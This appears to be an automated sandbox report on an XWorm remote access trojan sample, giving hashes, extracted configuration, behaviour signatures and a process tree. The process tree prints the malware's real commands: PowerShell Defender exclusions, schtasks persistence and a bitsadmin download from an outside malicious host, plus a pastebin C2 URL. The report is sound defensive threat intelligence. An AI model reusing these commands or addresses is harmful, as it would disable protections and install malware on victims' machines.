Analysis

  • max time kernel
    34s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2025 03:49

General

  • Target

    PhantomCrypter.exe

  • Size

    5.0MB

  • MD5

    d4d28f2c6fd9af9ee5a3be30f9ab913b

  • SHA1

    be4264bceaff957ff799b73ebc2479f0fc794815

  • SHA256

    c69d8df82357c95fe43db40465d0169ea8e0feacd8a3e4debe87865544100d9e

  • SHA512

    7eed5b6d3420c930a07aee500e086ec61fd33099cd641a2efe7664081c0e5fdab4d1ad2b4835edcbe3e6722d44e60a75119a2900cfd00b7c182b20f379d7a977

  • SSDEEP

    98304:6l1z3/RZ58MoFyQbbpaR2p1AU6cBSdOWWzSPfEIeGLGIQaW5tqwZ0ch1+NXHKgv3:Y1z5Z58MQJe2PAU6cBSkWWzaETGDW/t

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

EEarXqazEvX73BCq

Attributes
  • Install_directory

    %AppData%

  • install_file

    Chrome Update.exe

  • pastebin_url

    https://pastebin.com/raw/RPPi3ByL

aes.plain
aes.plain
aes.plain

Signatures

  • Detect Xworm Payload 6 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 6 IoCs
  • Executes dropped EXE 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 28 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter.exe
    "C:\Users\Admin\AppData\Local\Temp\PhantomCrypter.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2616
    • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
      "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4624
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Chrome Update" /tr "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4472
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3616
      • C:\Windows\SysWOW64\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://spyderrock.com/xkdg5397-run.exe C:\Users\Admin\AppData\Local\Temp\Notify.exe
        3⤵
        • Download via BitsAdmin
        • System Location Discovery: System Language Discovery
        PID:4032
    • C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1008
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:360
    • C:\Users\Admin\AppData\Roaming\OneDrive.exe
      "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\OneDrive.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1940
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\ProgramData\OneDrive.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3164
    • C:\Users\Admin\AppData\Roaming\TOPHERC.exe
      "C:\Users\Admin\AppData\Roaming\TOPHERC.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2672
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3376
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3184
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1992

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    bd5940f08d0be56e65e5f2aaf47c538e

    SHA1

    d7e31b87866e5e383ab5499da64aba50f03e8443

    SHA256

    2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6

    SHA512

    c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    993af531f0b57e8128ec273731c3a8e2

    SHA1

    a42ea55876f4f390837dd2c95fb7ff2344b6e9e1

    SHA256

    fff934d70d813381536d272c5b8ac6ad70acd054267b13592da767c9bd1dda62

    SHA512

    bdf5970ff2ee314dc297fce5c0f44765e77acbf269cd9ad9e7448a391d5f80d66a0c5426f99bc3480851e8763413aa180b3b3b6b22ef0e86a365450cb8c334e4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    10fb30dc297f99d6ebafa5fee8b24fa2

    SHA1

    76904509313a49a765edcde26b69c3a61f9fa225

    SHA256

    567bcacac120711fc04bf8e6c8cd0bff7b61e8ee0a6316254d1005ebb1264e6a

    SHA512

    c42ace1ea0923fa55592f4f486a508ea56997fdbe0200016b0fc16a33452fc28e4530129a315b3b3a5ede37a07097c13a0eb310c9e91e5d97bb7ce7b955b9498

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    f41f42c322498af0591f396c59dd4304

    SHA1

    e1e5aa68d73d48bc5e743a34f6c0fa8960ff7514

    SHA256

    d8bd9a4a363ff2ac2dc887759ec6ba4215a4ce0925a8fb9c531573458ee4a31c

    SHA512

    2328a1b402b4fb0de9c451fb630eab58549129d3bcfb70b9834cfbd16065ebaadec006b309ea17ac182d34c53e01705cbc9e0196eb0cbd62600c866e79a1844f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    60945d1a2e48da37d4ce8d9c56b6845a

    SHA1

    83e80a6acbeb44b68b0da00b139471f428a9d6c1

    SHA256

    314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3

    SHA512

    5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    caaf5459b51d495e61be65d36ebc854d

    SHA1

    9197d0739f59ec5f4f3c9d5dbd0e4b5621ec04ff

    SHA256

    1d44071558bbeec0bf02bc3dc0ef10ff26ae66bf24a9636ed5b039cc8ebfe8c6

    SHA512

    4775e3d50f5ded7c5887941ecb4b7a7cb35406dd6f496e1ad74d3b7c7cda3b16884ebbd0f7bed4c11d54177dc8fc9c16eb7b082e9c06efd92f63a756ed950b3c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    280B

    MD5

    48924114f9044d041f406c20b30032ea

    SHA1

    8c10e44b249ed258ff5a64acb7cd88ca47682e40

    SHA256

    149f22b0cbf68f1b8fdd0b3ecae957d7278bd4eab489496682e5283287fd3975

    SHA512

    bdbce629bd1fee6b01fa45ede6deda4783da8360d01a61f8625bc9c0c3abd70353df789a049b619b49f5609a7a275977e926a308eeb18f2025637e50f1e95279

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j05pdxve.34l.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe

    Filesize

    152KB

    MD5

    16cdd301591c6af35a03cd18caee2e59

    SHA1

    92c6575b57eac309c8664d4ac76d87f2906e8ef3

    SHA256

    11d55ac2f9070a70d12f760e9a6ee75136eca4bf711042acc25828ddda3582c8

    SHA512

    a44402e5e233cb983f7cfd9b81bc542a08d8092ffa4bd970fc25fe112355643506d5dfee0dd76f2e79b983df0fde67bfc50aabb477492a7596e38081e4083476

  • C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta

    Filesize

    844B

    MD5

    3f8a283abe6fe28a7d217c8105041426

    SHA1

    0283cd67e7cc0a99eeae3c3dea69716a6ac75bb1

    SHA256

    333c439c84ccbcab11dd9cc7f4d90596c5b65caf1164e8a908e61aa0222916b1

    SHA512

    bc5f8f256356c689953516877f8b7895fb1efe587feabdddf0e1524d0b22e3dcb89e0e654d19d0c314c6a376a0e7594965178a353d147ea98c43d3d5976f1846

  • C:\Users\Admin\AppData\Roaming\OneDrive.exe

    Filesize

    140KB

    MD5

    a1cd6f4a3a37ed83515aa4752f98eb1d

    SHA1

    7f787c8d72787d8d130b4788b006b799167d1802

    SHA256

    5cbcc0a0c1d74cd54ac999717b0ff0607fe6ed02cca0a3e0433dd94783cfec65

    SHA512

    9489287e0b4925345fee05fe2f6e6f12440af1425ef397145e32e6f80c7ae98b530e42002d92dc156643f9829bc8a3b969e855cecd2265b6616c4514eed00355

  • C:\Users\Admin\AppData\Roaming\TOPHERC.exe

    Filesize

    4.2MB

    MD5

    79f2fd33a188ff47216b4f4dd4552582

    SHA1

    16e40e0a1fed903fec20cd6cd600e3a2548881ad

    SHA256

    cc45d38fa00c5aeb33bdf842166460117b5e70b0b4fcf5bb6ef9747ec0b0575f

    SHA512

    caa33702fdc7e480a6093d2af035f860044a4e960fd6e5a4b91d6019f2c3d4c235d9e95734e6b54ea2a88af4e96bf72a54d81b2a70c1f64e76dcd202891905f2

  • C:\Users\Admin\AppData\Roaming\msedge.exe

    Filesize

    166KB

    MD5

    aee20d80f94ae0885bb2cabadb78efc9

    SHA1

    1e82eba032fcb0b89e1fdf937a79133a5057d0a1

    SHA256

    498eb55b3fb4c4859ee763a721870bb60ecd57e99f66023b69d8a258efa3af7d

    SHA512

    3a05ff32b9aa79092578c09dfe67eaca23c6fe8383111dab05117f39d91f27670029f39482827d191bd6a652483202b8fc1813f8d5a0f3f73fd35ca37a4f6d42

  • memory/1460-48-0x0000000000330000-0x0000000000358000-memory.dmp

    Filesize

    160KB

  • memory/2320-49-0x00007FFA5E940000-0x00007FFA5F401000-memory.dmp

    Filesize

    10.8MB

  • memory/2320-35-0x00000000003C0000-0x00000000003EE000-memory.dmp

    Filesize

    184KB

  • memory/2320-205-0x00007FFA5E940000-0x00007FFA5F401000-memory.dmp

    Filesize

    10.8MB

  • memory/2616-0-0x00007FFA5E943000-0x00007FFA5E945000-memory.dmp

    Filesize

    8KB

  • memory/2616-1-0x00000000002B0000-0x00000000007B8000-memory.dmp

    Filesize

    5.0MB

  • memory/2672-57-0x0000000005540000-0x00000000055D2000-memory.dmp

    Filesize

    584KB

  • memory/2672-59-0x0000000005530000-0x000000000553A000-memory.dmp

    Filesize

    40KB

  • memory/2672-58-0x0000000005680000-0x000000000571C000-memory.dmp

    Filesize

    624KB

  • memory/2672-56-0x0000000005A50000-0x0000000005FF4000-memory.dmp

    Filesize

    5.6MB

  • memory/2672-54-0x0000000000840000-0x0000000000C78000-memory.dmp

    Filesize

    4.2MB

  • memory/3404-39-0x00007FFA5E940000-0x00007FFA5F401000-memory.dmp

    Filesize

    10.8MB

  • memory/3404-195-0x00007FFA5E940000-0x00007FFA5F401000-memory.dmp

    Filesize

    10.8MB

  • memory/3404-15-0x00000000008D0000-0x00000000008FC000-memory.dmp

    Filesize

    176KB

  • memory/3404-206-0x00007FFA5E940000-0x00007FFA5F401000-memory.dmp

    Filesize

    10.8MB

  • memory/4320-65-0x000001F0417E0000-0x000001F041802000-memory.dmp

    Filesize

    136KB